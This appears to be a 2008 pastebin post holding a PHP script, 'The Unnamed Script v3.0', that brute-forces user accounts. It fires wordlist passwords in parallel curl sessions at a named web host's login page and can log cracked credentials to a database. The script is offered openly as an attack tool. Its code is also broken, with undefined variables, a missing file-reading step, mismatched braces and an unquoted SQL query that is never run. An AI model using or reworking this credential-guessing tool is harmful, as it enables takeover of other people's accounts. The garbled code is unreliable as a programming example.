- Stuff
- Tuesday, March 25th, 2008 at 3:31:55pm MDT
- #!/usr/bin/php
- <?php
- /*-------------------------------------------------------------------------------------*/
- // The Unnamed Script v3.0
- // by: GODD & Ishkur
- // <thenullbyte.org>
- //
- // Usage:
- // /usr/bin/brute [input] [options]
- //
- // Parameters:
- // -h -- display help
- // -l -- path to wordlist
- // -u -- username to get into
- // -v -- sets verbosity to ON
- // -s -- number of curl sessions per iteration
- // **note: 10 is faster than 1, and 100 is slower than 1
- // -db -- log to database
- // **Usage: -db dbhost dbuser dbpass dbname
- //
- // Usage:
- // /usr/bin/brute -l mil-dic.txt -u paradoxhacker -s 25
- // /usr/bin/brute -l argon.txt -u ishkur88 -s 15 -v
- // /usr/bin/brute -l general.txt -u slyjakes -s 20 -db localhost hacker passwd logs
- //
- // WARNING:
- // Use this script at your discretion, be responsible, and have fun ;)
- /*-------------------------------------------------------------------------------------*/
- /*---------------------------------*/
- // Main Function, handles user input
- /*---------------------------------*/
- function brute_force($argc, $argv) {
- $maxArgs = $argc - 1;
- $something = 0;
- $database = 0;
- $limit = 10;
- for($x = 1;$x<=$maxArgs||$x==1; ++$x) {
- switch($argv[$x]) {
- case "-h" :
- echo "The Unnamed Script v3.0\n".
- "by: GODD & Ishkur\n".
- "<thenullbyte.org>".
- "Usage:\n".
- $_SERVER['PHP_SELF']. " [input] [options]\n\n".
- "Parameters:\n".
- " -h -- display help\n".
- " -l -- path to wordlist\n".
- " -u -- username to get into\n".
- " -v -- sets verbosity to ON\n".
- " -s -- number of curl sessions per iteration\n".
- " **note: 10 is faster than 1, and 100 is slower than 1\n".
- " -db -- log to database\n".
- " **Usage: -db dbhost dbuser dbpass dbname\n\n".
- "Usage: \n".
- $_SERVER['PHP_SELF']. " -l mil-dic.txt -u paradoxhacker -s 25\n".
- $_SERVER['PHP_SELF']. " -l argon.txt -u ishkur88 -s 15 -v\n".
- $_SERVER['PHP_SELF']. " -l general.txt -u root -s 20 -db localhost hacker passwd logs\n\n".
- "WARNING:\n".
- "Use this script at your discretion, be responsible, and have fun ;)\n\n";
- break;
- case "-l" :
- ++$x;
- $list = $argv[$x];
- $something = 1;
- break;
- case "-u" :
- ++$x;
- $user = $argv[$x];
- $something = 1;
- break;
- case "-v" :
- $verbosity = 1;
- $something = 1;
- break;
- case "-s" :
- ++$x;
- $limit = $argv[$x];
- $something = 1;
- break;
- case "-db" :
- $database = 1;
- $dbhost = $argv[$x + 1];
- $dbuser = $argv[$x + 2];
- $dbpass = $argv[$x + 3];
- $dbname = $argv[$x + 4];
- $x+=4;
- break;
- default :
- echo "The Unnamed Script v3.0\n".
- "by: GODD & Ishkur\n".
- "<thenullbyte.org>\n\n".
- "Usage:\n".
- $_SERVER['PHP_SELF']. " [input] [options]\n\n".
- "Parameters:\n".
- " -h -- display help\n".
- " -l -- path to wordlist\n".
- " -u -- username to get into\n".
- " -v -- sets verbosity to ON\n".
- " -s -- number of curl sessions per iteration\n".
- " **note: 10 is faster than 1, and 100 is slower than 1\n".
- " -db -- log to database\n".
- " **Usage: -db dbhost dbuser dbpass dbname\n\n".
- "Usage: \n".
- $_SERVER['PHP_SELF']. " -l mil-dic.txt -u paradoxhacker -s 25\n".
- $_SERVER['PHP_SELF']. " -l argon.txt -u ishkur88 -s 15 -v\n".
- $_SERVER['PHP_SELF']. " -l general.txt -u root -s 20 -db localhost hacker passwd logs\n\n".
- "WARNING:\n".
- "Use this script at your discretion, be responsible, and have fun ;)\n\n";
- }
- }
- if($verbosity&&$something) {
- $pw = verboseMode($list, $user, $limit);
- if($database&&$pw){
- logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw);
- }
- } elseif($something) {
- $pw = notVerboseMode($list, $user, $limit);
- if($database&&$pw){
- logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw);
- }
- }
- }
- /*----------------------------------------------------*/
- // Database:
- // $query = 'CREATE TABLE accounts ( '.
- // 'ID INT NOT NULL AUTO_INCREMENT, '.
- // 'username VARCHAR(20) NOT NULL, '.
- // 'password VARCHAR(30) NOT NULL, '.
- // 'PRIMARY KEY(ID))';
- /*----------------------------------------------------*/
- /*---------------------------------------------*/
- // Database calls, for logging results to MySQL
- /*---------------------------------------------*/
- function logToDatabase($dbhost, $dbuser, $dbpass, $dbname, $user, $pw) {
- $query = 'INSERT INTO accounts (username, password) VALUES ('.$user.', '.$pw.');';
- }
- /*----------------------------------------------------------------*/
- // Main Loop, handles allocation of data and curl sessions (Verbose)
- /*----------------------------------------------------------------*/
- function verboseMode($list, $user, $limit) {
- if ($file) {
- $count = 1;
- $match=0;
- $submit = 'Log Me In Now!';
- $pw = null;
- $url = 'http://www.110mb.com/login.php';
- $fields = "remember_me=1&submit=$submit&mode=login&user_name=$user&password=";
- $mh = curl_multi_init();
- for($x = 0; $x < $limit; $x++) {
- $ch[$x] = curl_init();
- curl_setopt($ch[$x], CURLOPT_URL,$url);
- curl_setopt($ch[$x], CURLOPT_POST, 1);
- curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER,1);
- }
- for($x=0;$x<$limit;++$x) {
- curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $fields.$password[$x]);
- curl_multi_add_handle($mh,$ch[$x]);
- }
- $running = null;
- do {
- curl_multi_exec($mh,$running);
- }
- while ($running > 0);
- echo "> - - - - - - - - - - attempt #$count\n";
- for($x=0;($x<$limit)&&!($match);++$x) {
- $result = curl_multi_getcontent($ch[$x]);
- } else {
- $pw=$password[$x];$match=1;echo $result;
- }
- curl_multi_remove_handle($mh,$ch[$x]);
- }
- ++$count;
- }
- curl_multi_close($mh);
- }
- if ($match) {
- echo "\n# -- > Password is $pw < -- #\n\n";
- } else {
- echo "Password was not found\n";
- }
- return $pw;
- }
- /*--------------------------------------------------------------------*/
- // Main Loop, handles allocation of data and curl sessions (Non-Verbose)
- /*--------------------------------------------------------------------*/
- function notVerboseMode($list, $user, $limit) {
- if ($file) {
- $match=0;
- $submit = 'Log Me In Now!';
- $pw = null;
- $url = 'http://www.110mb.com/login.php';
- $fields = "remember_me=1&submit=$submit&mode=login&user_name=$user&password=";
- $mh = curl_multi_init();
- $ch[$x] = curl_init();
- curl_setopt($ch[$x], CURLOPT_URL,$url);
- curl_setopt($ch[$x], CURLOPT_POST, 1);
- curl_setopt($ch[$x], CURLOPT_RETURNTRANSFER,1);
- }
- for($x=0;$x<$limit;++$x) {
- curl_setopt($ch[$x], CURLOPT_POSTFIELDS, $fields.$password[$x]);
- curl_multi_add_handle($mh,$ch[$x]);
- }
- $running = null;
- do{
- curl_multi_exec($mh,$running);
- }while ($running > 0);
- for($x=0;($x<$limit)&&!($match);++$x) {
- $result = curl_multi_getcontent($ch[$x]);
- $pw=$password[$x];$match=1;echo $result;
- }
- curl_multi_remove_handle($mh,$ch[$x]);
- }
- }
- curl_multi_close($mh);
- }
- if ($match) {
- echo "\n# -- > Password is $pw < -- #\n\n";
- } else {
- echo "Password was not found\n";
- }
- return $pw;
- }
- brute_force($argc, $argv);
- ?>
advertising
Update the Post
Either update this post and resubmit it with changes, or make a new post.
You may also comment on this post.
Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.